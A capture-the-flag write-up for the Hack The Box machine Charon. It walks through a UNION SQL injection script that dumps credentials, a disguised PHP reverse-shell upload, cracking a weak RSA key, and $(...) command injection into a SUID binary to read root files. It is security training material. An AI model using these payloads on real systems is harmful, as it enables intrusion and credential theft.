Charon @ Hackthebox

Charon is a Moderate Linux Machine, where the hacker in order to obtain root, needs to use SQLi, crack RSA private key using unciphered Text, run a binary exploit, …

Enumeration

Starting NMAP “nmap -sC -sV -oA nmap 10.10.10.31”:

┌─[luka@parrot]─[~/Desktop/htb/Charon/nmap]
└──╼ $cat nmap.nmap 
# Nmap 7.70 scan initiated Fri Aug  9 03:54:57 2019 as: nmap -sC -sV -oA nmap 10.10.10.31
Nmap scan report for 10.10.10.31
Host is up (0.032s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:c7:fb:a2:4b:53:1a:7a:f3:30:5e:b8:6e:ec:83:ee (RSA)
|   256 97:e0:ba:96:17:d4:a1:bb:32:24:f4:e5:15:b4:8a:ec (ECDSA)
|_  256 e8:9e:0b:1c:e7:2d:b6:c9:68:46:7c:b3:32:ea:e9:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Frozen Yogurt Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug  9 03:55:11 2019 -- 1 IP address (1 host up) scanned in 13.99 seconds

Upon checking the output it is pretty straightforward what to check – the web server on port 80.

Before checking the website it is recommended to start Burp (interception may be off) and setting the browser to connect through the burp proxy. Burp will build kind of a site map and record requests and responses that were sent to or from the server

According to the Logo (just an image), the webpage is using SuperCMS

Charon @ Hackthebox

Starting gobuster

┌─[luka@parrot]─[~/Desktop/htb/Charon/nmap]
└──╼ $/home/luka/tools/gobuster/gobuster -u http://10.10.10.31 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x php 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.31/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
=====================================================
2019/08/09 07:18:08 Starting gobuster
=====================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/include (Status: 301)
/fonts (Status: 301)
/cmsdata (Status: 301)
=====================================================
2019/08/09 07:26:34 Finished
=====================================================

… and again in the /cmsdata directory:

Charon @ Hackthebox

Gobuster recieves two responses back with status code 200. We can check these in browser. The login.php it’s – like the name states – the login page and forget.php is a page for password renewal.

There are few rabbit holes here. The main problem (but let say its a good thing 😉 since we have to do it manually) is that sqlmap doesn’t find any parametres that would be vulnerable to SQLi. But checking and testing parametres manually, makes it will be pretty obvious if you hit the “email” parameter with a single quote at http://10.10.10.31/cmsdata/forgot.php

Charon @ Hackthebox

The “email” parameter is vulnerable to the UNION injection. There is also some blacklisting active on the web server side, that is why some characters have to be randomized.

Charon @ Hackthebox

To move across columns, we can just adjust the “OFFSET” in the SQL query.

I used Bash script to do that automatically

Charon @ Hackthebox

And one to read __username_ and __password_ columns

┌─[luka@parrot]─[~/Desktop/htb/Charon]
└──╼ $cat userpw.bash.sh 
#!/bin/bash

for i in $(seq 0 300);do
        payload="email=asd@asd.com' UNiON ALL SELECT 1,2,3,CONCAT(__username_,':',__password_,':','@asd.de') FROM supercms.operators LIMIT 1 OFFSET $i; -- -"
        #echo "$payload"
        curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep h2
done
┌─[luka@parrot]─[~/Desktop/htb/Charon]
└──╼ $./userpw.bash.sh 
        <h2> Email sent to: test1:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test2:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test3:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test4:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test5:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test6:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test7:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test8:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test9:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test10:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test11:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        ....
        <h2> Email sent to: test199:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: test200:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    
        <h2> Email sent to: super_cms_adm:0b0689ba94f94533400f4decd87fa260:@asd.de=>2    
        <h2> Email sent to: decoder:5f4dcc3b5aa765d61d8327deb882cf99:@asd.de=>2    

At the end of the output, there will be two other users shown, super_cms_adm and decoder which has the same password , so only super_cms_adm seems right and indeed – it is used to access http://10.10.10.31/cmsdata/forgot.php

Charon @ Hackthebox

Now it would be again a good idea to check the website while having Burp running in the background. On the /cmsdata/Upload.php we can notice a commented input HTML field.

Charon @ Hackthebox

You can modify response to activate this field, or modify request while sending the request to the web server. I’ve just copied the input field, pasted it in by using Firefox Inspector.

Charon @ Hackthebox

Now we can upload a shell. I’ve added the magic byte and an jpg. suffix, to bypass any upload security controls there. (I used php-reverse-shell.php from pentestmonkey. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Charon @ Hackthebox

There is some weird input field that just needs to get uncommented and it’s name base64 decoded (and renamed to testfile1). Otherwise it will upload jpg instead .php. Really weird but hey – its an CTF.

Charon @ Hackthebox

Uncomenting the field will do. My reverse shell file was uploaded

Charon @ Hackthebox

… and i’ve got shell

Charon @ Hackthebox

Privilege Escalation

I used wget on the client and python -m SimpleHTTPServer on the server side to transfer the enumeration script linpe.sh which i didn’t use since i’ve noticed two interesting files. I’ve just put 755 rights to it, to be able to run it with different user…

Charon @ Hackthebox

Two interesting/unusual files can be found in the /home/decoder directory.

Charon @ Hackthebox

In both files, we can find the Public key and some unciphered text.

Charon @ Hackthebox

Luckily there is a tool to create the private key out of the two files above. It is worth mentioning that the keys are weak. You can notice that the length is much shorter as usually seen these days.

RsaCTFTool can be downloaded here: https://github.com/Ganapati/RsaCtfTool.git

To transfer the filesto the Attacker machine, they need to be base64 encoded first.

Charon @ Hackthebox

I get the password returned, although it seems to have some weird characters in it. It can be read though – nevermindthebollocks seems to be the password.

┌─[✗]─[luka@parrot]─[~/Desktop/htb/Charon/privesc/decrypt]
└──╼ $/home/luka/tools/RsaCtfTool/RsaCtfTool.py --publickey ./decoder.pub --uncipherfile ./pass.crypt 
[+] Clear text : b'\x00\x02\x11\x96\xa91\xfb\x13\xd46\xba\x00nevermindthebollocks'

SSH authentication worked. (User flag can be read)

Charon @ Hackthebox

I’ve ran linpe.sh again. What has caught my eye was a SUID bit set on a weird file.

decoder@charon:/tmp$ find / -perm -4000 2>/dev/null
/usr/local/bin/supershell

Unfortunately no command seems to work with the file. and it is a 64-bit Executable.

decoder@charon:/tmp$ supershell ls
Supershell (very beta)
decoder@charon:/tmp$ supershell id
Supershell (very beta)
decoder@charon:/tmp$ supershell ls -la
Supershell (very beta)
usage: supershell <cmd>
decoder@charon:/tmp$ supershell "ls -la"
Supershell (very beta)
decoder@charon:/tmp$ file /usr/local/bin/supershell
/usr/local/bin/supershell: setuid ELF 64-bit LSB executable, x86-64, versi

There is no gdb installed on the Charon system, that is why i transfered the file to the attacker machine, simply by using nc.

Charon @ Hackthebox

To analize the binary i used radare2 (can be run just by typing r2)

Charon @ Hackthebox

I pressed p afterwards to change the panel. (There is also IDA-pro tool out there that can do similar visualizations. This can make you understand the logic better.)

Charon @ Hackthebox

The important part is here. String will be compared if contains /bin/ls.

Charon @ Hackthebox

And indeed, if we run the supershell program with /bin/ls, it is indeed being run.

decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /root"
Supershell (very beta)
++[/bin/ls /root]
root.txt

,To escape the ls, we can run the commands in the subshell = $(command). It’s basically a shell ran in a subprocess. The command will be passed to supershell program and executed against ls. Output won’t be the pretiest but it will work. In the following example, the root will be returned, for which directory can be found.

decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /\$(whoami)"
Supershell (very beta)
++[/bin/ls /$(whoami)]
root.txt

root.txt can be read

decoder@charon:/tmp$ /usr/local/bin/supershell "/bin/ls /\$(cat /root/root.txt)"                                       │
Supershell (very beta)                                                                                                 │
++[/bin/ls /$(cat /root/root.txt)]                                                                                     │
/bin/ls: cannot access '/c59a840463acc6ca14f6599721c9c18e': No such file or directory  

To get root i ran the standard C compiled binary. which sets uid und gid to 0 if ran by root (or with SUID bit set). First it was compiled using gcc (on the Charon machine).

Charon @ Hackthebox

Then all that needs to be done is, set the owner to root:root and set SUID bit on the binary. Then just run and root shell has to pop up.

Charon @ Hackthebox